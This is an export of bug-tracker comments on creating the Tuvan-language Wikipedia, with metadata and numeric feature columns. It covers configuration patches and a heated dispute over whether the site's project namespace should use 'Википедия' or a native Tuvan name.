https://gerrit.wikimedia.org/r/79321",,,1376653964,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.15,1.0,"Change 79321 had a related patch set uploaded by Amire80:
Add tyv.wikipedia to projects with visualeditor

GERRIT_URL"
247137,Create Wikipedia Tuvan,"(In reply to comment #27)
> (In reply to comment #26)
> > RT ticket created for addition of lucene search indexes
> > https://rt.wikimedia.org/Ticket/Display.html?id=5588
> 
> But where's VisualEditor

Thank you very much for this reminder! I added it here (I think):
https://gerrit.wikimedia.org/r/#/c/79321/",,,1376639564,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,6,,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,8.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,3.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,3.0,0.0,11.0,8.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.972972972972973,0.7027027027027027,"(In reply to comment #27)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Thank you very much for this reminder! I added it here (I think):
URL"
247128,Create Wikipedia Tuvan,"(In reply to comment #26)
> RT ticket created for addition of lucene search indexes
> https://rt.wikimedia.org/Ticket/Display.html?id=5588

But where's VisualEditor",,,1376621641,,PHID-USER-chrmcih5qjpx5buo7vx6,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3529411764705883,0.8823529411764706,"(In reply to comment #26)
QUOTE
QUOTE

But where's VisualEditor"
247120,Create Wikipedia Tuvan,RT ticket created for addition of lucene search indexes https://rt.wikimedia.org/Ticket/Display.html?id=5588,,,1376196871,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,RT ticket created for addition of lucene search indexes URL
247115,Create Wikipedia Tuvan,Done!,,,1376196328,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,Done!
247109,Create Wikipedia Tuvan,"Change 68188 merged by jenkins-bot:
(bug 49328) Create Wikipedia in Tyvan language

https://gerrit.wikimedia.org/r/68188",,,1376194827,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,1.0,"Change 68188 merged by jenkins-bot:
(bug 49328) Create Wikipedia in Tyvan language

GERRIT_URL"
247103,Create Wikipedia Tuvan,*** Bug 52691 has been marked as a duplicate of this bug. ***,,,1376116627,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52691 has been marked as a duplicate of this bug. ***
247097,Create Wikipedia Tuvan,"Change 78332 merged by jenkins-bot:
Add tyv to langlist

https://gerrit.wikimedia.org/r/78332",,,1376020675,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,13.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"Change 78332 merged by jenkins-bot:
Add tyv to langlist

GERRIT_URL"
247091,Create Wikipedia Tuvan,"Change 78332 had a related patch set uploaded by Reedy:
Add tyv to langlist

https://gerrit.wikimedia.org/r/78332",,,1376020621,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,1.0,"Change 78332 had a related patch set uploaded by Reedy:
Add tyv to langlist

GERRIT_URL"
247084,Create Wikipedia Tuvan,"**polar_bear0901** wrote:

(In reply to comment #19)
> It should not be chosen arbitrarily. It is chosen according to what was
> requested on the Meta request, here
> <https://meta.wikimedia.org/w/index.php?diff=5529039&oldid=5528970>, by
> Agilight even.
> You do have discussions on the Incubator talk pages of some contributors like
> Tamara Ustinova and Agilight but there is no discussion of everyone anywhere.
> If you want the sitename to be different, please stop spamming this bug and
> convince them to change the request on Meta. If you don't manage to do that,
> shut up and stop delaying this request.

""It should not be chosen arbitrarily."" - I agree!

""It is chosen according to what was requested on the Meta request, here <...>, by Agilight even."" - not exactly. Agilight's comment is a completion of your comment in 06:42, 2 June 2013, in other words, he is personally helping you and showing his acquiescence about the name ""Википедия"", and that has nothing to do with ""Agilight chose the name Википедия"". If the local community had chosen the name ""Википедия"", I would NEVER disturb you here. 

I had no discussion with Tamara Ustinova about the name (what I talk with her is about our *personal* opinion about indigenous peoples). I did discussed with Agilight, and as far as I know Agilight have no preference about the name ""Википедия"". Also there is discussion for everyone here <http://incubator.wikimedia.org/wiki/Talk:Wp/tyv/%D0%9A%D0%BE%D0%BB_%D0%B0%D1%80%D1%8B%D0%BD#Localization> and everyone in the local community who joined the discussion likes to adopt a native name, although till now no one has completed a good name proposal (Agilight said in his talk page he'd like to ask some people to give an advice).

If you deserve the sitename translation to be ""Википедия"", please stop advertise it here and convince some Tuvan speakers in the community to express their preference of ""Википедия"" to all other translation. If you don't manage to do that, shut up and stop promoting ""Википедия"" to this request.",,,1374941968,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,3,,1.0,0.5,0.0,0.75,0.75,3.25,0.5,0.0,0.25,1.0,2.25,0.75,0.0,0.0,0.25,1.75,0.0,4.25,10.25,0.75,2.25,0.25,0.0,0.0,1.75,0.0,0.0,0.25,0.0,0.5,0.0,3.75,0.5,0.75,1.75,1.5,0.0,0.0,0.5,1.5,0.75,1.75,0.25,3.0,0.0,0.0,0.0,0.0,0.0,7.5,0.5,0.25,0.0,0.25,0.0,0.0,0.0,0.5,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.25,0.0,4.0,2.0,11.0,1.5,1.75,6.5,0.0,0.0,0.25,0.25,5.0,0.25,1.0,0.0,5.75,10.25,6.25,0.0,5.0,0.0,5.75,0.0,0.75,1.0,0.25,1.0,0.0,0.0,0.75,3.800632911392405,0.6582278481012658,"**polar_bear0901** wrote:

(In reply to comment #19)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

""It should not be chosen arbitrarily."" - I agree!

""It is chosen according to what was requested on the Meta request, here <...>, by Agilight even."" - not exactly. Agilight's comment is a completion of your comment in 06:42, 2 June 2013, in other words, he is personally helping you and showing his acquiescence about the name ""Википедия"", and that has nothing to do with ""Agilight chose the name Википедия"". If the local community had chosen the name ""Википедия"", I would NEVER disturb you here. 

I had no discussion with Tamara Ustinova about the name (what I talk with her is about our *personal* opinion about indigenous peoples). I did discussed with Agilight, and as far as I know Agilight have no preference about the name ""Википедия"". Also there is discussion for everyone here <URL and everyone in the local community who joined the discussion likes to adopt a native name, although till now no one has completed a good name proposal (Agilight said in his talk page he'd like to ask some people to give an advice).

If you deserve the sitename translation to be ""Википедия"", please stop advertise it here and convince some Tuvan speakers in the community to express their preference of ""Википедия"" to all other translation. If you don't manage to do that, shut up and stop promoting ""Википедия"" to this request."
247079,Create Wikipedia Tuvan,"It should not be chosen arbitrarily. It is chosen according to what was requested on the Meta request, here <https://meta.wikimedia.org/w/index.php?diff=5529039&oldid=5528970>, by Agilight even.
You do have discussions on the Incubator talk pages of some contributors like Tamara Ustinova and Agilight but there is no discussion of everyone anywhere. If you want the sitename to be different, please stop spamming this bug and convince them to change the request on Meta. If you don't manage to do that, shut up and stop delaying this request.",,,1374927661,,PHID-USER-7e4yonmruupxzg23swum,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,3,,1.0,1.0,0.0,3.0,2.0,2.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,15.0,1.0,3.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,4.0,1.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,9.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,14.0,2.0,4.0,9.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,6.0,15.0,6.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,1.0,4.178947368421053,0.6736842105263158,"It should not be chosen arbitrarily. It is chosen according to what was requested on the Meta request, here <URL by Agilight even.
You do have discussions on the Incubator talk pages of some contributors like Tamara Ustinova and Agilight but there is no discussion of everyone anywhere. If you want the sitename to be different, please stop spamming this bug and convince them to change the request on Meta. If you don't manage to do that, shut up and stop delaying this request."
247073,Create Wikipedia Tuvan,"**polar_bear0901** wrote:

(In reply to comment #15)
> (In reply to comment #14)
> > I have been looking at the discussion page for almost a year to see if 
> > anyone in the local community have provided a localization of the name
> > Wikipedia, but till now they're still working in progress. 
> 
> ""Work in progress"" and ""for almost a year"" sounds like a contradiction at
> first, so I'd like to take a look myself.
> 
> > few will realize that it's still editable
> 
> People learn when they get things told. Every article on the wiki is
> temporarily too by that definition, as it might be improved later on.

Well, if the project namespace should be arbitrarily chosen since it's temporarily, why don't we choose it to be Видибилиином?",,,1374916375,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,8.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,23.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,6.0,2.0,2.0,0.0,5.0,8.0,17.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,0.5454545454545454,"**polar_bear0901** wrote:

(In reply to comment #15)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Well, if the project namespace should be arbitrarily chosen since it's temporarily, why don't we choose it to be Видибилиином?"
247065,Create Wikipedia Tuvan,"**polar_bear0901** wrote:

(In reply to comment #16)
> Changing status to PATCH_TO_REVIEW because there actually is a patch on Gerrit
Thank you for your progress!

I'd like to mention that concerning the historical discussion, most user who have Tuvan language ability (such as Agilight and Sborsody) have shown a positive altitude about having a native Tuvan name for Tuvan Wikipedia, while those who considered a native name unnecessary or aspiration are mostly Europeans who can not speak Tuvan language (e.g. Kaganer and Tamara Ustinova; what have been labeled a ""community requesting"" were an request by Kaganer). 

But I'm *not* critcise them, because they're *naturally* speaking in an European POV and that's totally fine. What I'm requesting is that the Tuvan name of Wikipedia should be decided by the native community, rather than by an edit commited by a editor who have few Tuvan knowledge. So there's *no* community-established name at all.

That's also the reason why I say the ""Project namespace:"" should be temporarily ""Wikipedia"" rather than request it to be ""Видибилиином"".",,,1374916112,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,3,,1.0,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,4.333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,2.3333333333333335,1.3333333333333333,0.0,0.0,0.3333333333333333,1.3333333333333333,1.0,5.666666666666667,8.0,0.0,1.0,1.0,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,5.333333333333333,2.0,0.3333333333333333,1.6666666666666667,0.6666666666666666,0.0,0.0,0.0,2.0,0.3333333333333333,0.6666666666666666,0.0,2.3333333333333335,0.3333333333333333,0.0,0.0,0.0,0.0,8.666666666666666,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.3333333333333333,5.0,2.6666666666666665,11.666666666666666,1.6666666666666667,1.6666666666666667,6.0,0.0,0.0,0.3333333333333333,0.3333333333333333,3.6666666666666665,0.3333333333333333,0.3333333333333333,0.0,3.3333333333333335,8.0,7.0,0.0,3.3333333333333335,0.0,3.3333333333333335,0.0,2.6666666666666665,3.0,0.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.0,4.051643192488263,0.7605633802816901,"**polar_bear0901** wrote:

(In reply to comment #16)
QUOTE
Thank you for your progress!

I'd like to mention that concerning the historical discussion, most user who have Tuvan language ability (such as Agilight and Sborsody) have shown a positive altitude about having a native Tuvan name for Tuvan Wikipedia, while those who considered a native name unnecessary or aspiration are mostly Europeans who can not speak Tuvan language (e.g. Kaganer and Tamara Ustinova; what have been labeled a ""community requesting"" were an request by Kaganer). 

But I'm *not* critcise them, because they're *naturally* speaking in an European POV and that's totally fine. What I'm requesting is that the Tuvan name of Wikipedia should be decided by the native community, rather than by an edit commited by a editor who have few Tuvan knowledge. So there's *no* community-established name at all.

That's also the reason why I say the ""Project namespace:"" should be temporarily ""Wikipedia"" rather than request it to be ""Видибилиином""."
247056,Create Wikipedia Tuvan,"Changing status to PATCH_TO_REVIEW because there actually is a patch on Gerrit waiting to be reviewed & merged: https://gerrit.wikimedia.org/r/68188

Assigning this bug to Sam because he's the one who's been creating new wikis lately.",,,1374767554,,PHID-USER-hxjysvdvogekpjub3nd3,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,3.0,0.0,5.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,8.0,15.0,5.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,15.0,10.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,10.0,0.0,0.0,0.0,4.512820512820513,0.8974358974358975,"Changing status to PATCH_TO_REVIEW because there actually is a patch on Gerrit waiting to be reviewed & merged: GERRIT_URL

Assigning this bug to Sam because he's the one who's been creating new wikis lately."
247049,Create Wikipedia Tuvan,"(In reply to comment #14)
> I have been looking at the discussion page for almost a year to see if 
> anyone in the local community have provided a localization of the name
> Wikipedia, but till now they're still working in progress. 

""Work in progress"" and ""for almost a year"" sounds like a contradiction at first, so I'd like to take a look myself.

> few will realize that it's still editable

People learn when they get things told. Every article on the wiki is temporarily too by that definition, as it might be improved later on.",,,1374065889,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,True,,,2,,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,1.0,0.0,3.0,0.0,9.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,5.0,1.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,3.0,12.0,3.0,1.0,8.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,5.0,16.0,1.0,0.0,5.0,0.0,5.0,0.0,1.0,4.0,1.0,0.0,1.0,0.0,0.0,3.44,0.76,"(In reply to comment #14)
QUOTE
QUOTE
QUOTE

""Work in progress"" and ""for almost a year"" sounds like a contradiction at first, so I'd like to take a look myself.

QUOTE

People learn when they get things told. Every article on the wiki is temporarily too by that definition, as it might be improved later on."
247044,Create Wikipedia Tuvan,"**polar_bear0901** wrote:

(In reply to comment #13)
> (In reply to comment #6)
> > (In reply to comment #4)
> > Yes. The community is choosing a name for Tuvan Wikipedia
> 
> Can you please provide a direct link to a *recent* discussion about this
> topic,
> on the wiki?
Could you please first tell me why you want a *recent* discussion? I have been looking at the discussion page for almost a year to see if anyone in the local community have provided a localization of the name Wikipedia, but till now they're still working in progress. 
> 
> > So the information should be **temporarily**
> 
> If it makes you happier to call things ""temporarily"", all things are
> temporarily up to some point. :) (Configuration settings can always be
> changed
> later.)
Well, what you said is *technically* true, but remember once you establish a namespace Википедия few will realize that it's still editable (just as Ali said many Tuvans are not very good at Internet). What's more, once the term Википедия (which violate Tuvan vowel harmony by the last syllable ""я"") comes into a real Wikipedia, it will be used by some Tuvans, which makes it harder for the locals to choose a localized name.",,,1374061512,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,2,,1.5,0.5,0.5,0.5,0.5,7.5,0.5,0.0,0.0,0.5,2.0,0.5,0.0,0.5,0.0,1.0,0.0,5.0,10.5,0.5,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,1.0,0.0,6.0,2.0,1.5,2.5,2.0,0.0,1.0,0.0,0.0,0.0,0.5,1.5,2.0,0.5,0.0,0.0,0.0,0.5,9.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.0,2.0,14.5,3.0,1.0,7.5,0.0,0.0,0.0,0.5,3.5,1.0,0.5,0.0,5.0,10.5,10.0,0.5,1.0,0.0,5.0,0.0,2.5,3.0,0.5,1.0,1.0,0.0,0.0,3.6865679824561406,0.6652412280701754,"**polar_bear0901** wrote:

(In reply to comment #13)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
Could you please first tell me why you want a *recent* discussion? I have been looking at the discussion page for almost a year to see if anyone in the local community have provided a localization of the name Wikipedia, but till now they're still working in progress. 
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
Well, what you said is *technically* true, but remember once you establish a namespace Википедия few will realize that it's still editable (just as Ali said many Tuvans are not very good at Internet). What's more, once the term Википедия (which violate Tuvan vowel harmony by the last syllable ""я"") comes into a real Wikipedia, it will be used by some Tuvans, which makes it harder for the locals to choose a localized name."
247039,Create Wikipedia Tuvan,"(In reply to comment #6)
> (In reply to comment #4)
> Yes. The community is choosing a name for Tuvan Wikipedia

Can you please provide a direct link to a *recent* discussion about this topic, on the wiki?

> So the information should be **temporarily**

If it makes you happier to call things ""temporarily"", all things are temporarily up to some point. :) (Configuration settings can always be changed later.)",,,1373968444,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,True,,,2,,3.0,0.0,0.0,1.0,0.0,7.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,1.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,10.0,1.0,0.0,9.0,0.0,1.0,0.0,1.0,6.0,1.0,1.0,0.0,4.0,13.0,0.0,1.0,3.0,0.0,4.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,3.6231884057971016,0.7391304347826086,"(In reply to comment #6)
QUOTE
QUOTE

Can you please provide a direct link to a *recent* discussion about this topic, on the wiki?

QUOTE

If it makes you happier to call things ""temporarily"", all things are temporarily up to some point. :) (Configuration settings can always be changed later.)"
247034,Create Wikipedia Tuvan,"**polar_bear0901** wrote:

(In reply to comment #11)
> That's nonsense. There is apparently no ""trying to establish a native name"",
> because the discussion from Dec. 2012 fell asleep.
> However, the Википедия name is surely 'established' in a certain way because
> the community(!) requested it to be set as their sitename and used it also on
> the Incubator pages. The community can use any name it wants, regardless of
> whether that is ""European"" or ""native"" or not.

That's not. Someone (not the community!) edit the info page/summary page of testwiki when the discussion still didn't go to an end, but this has nothing to do with what you claimed ""community requested it"". 

So temporarily keep the computer internal name ""Wikipedia"" is good to our community becouse by doing that the local community can establish a Tuvan name of Wikipedia anytime.",,,1373963779,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,2,,0.0,0.5,0.0,0.0,2.0,3.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,5.5,8.0,1.5,1.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,1.0,2.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,9.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,1.0,0.0,0.0,0.0,5.0,1.0,8.0,1.5,1.0,6.5,0.0,0.0,0.5,0.5,4.0,0.0,0.5,0.0,3.0,8.0,5.5,0.0,3.5,0.0,3.0,0.0,1.5,2.0,0.0,1.0,0.0,0.0,0.0,3.759259259259259,0.712962962962963,"**polar_bear0901** wrote:

(In reply to comment #11)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That's not. Someone (not the community!) edit the info page/summary page of testwiki when the discussion still didn't go to an end, but this has nothing to do with what you claimed ""community requested it"". 

So temporarily keep the computer internal name ""Wikipedia"" is good to our community becouse by doing that the local community can establish a Tuvan name of Wikipedia anytime."
247028,Create Wikipedia Tuvan,"That's nonsense. There is apparently no ""trying to establish a native name"", because the discussion from Dec. 2012 fell asleep.
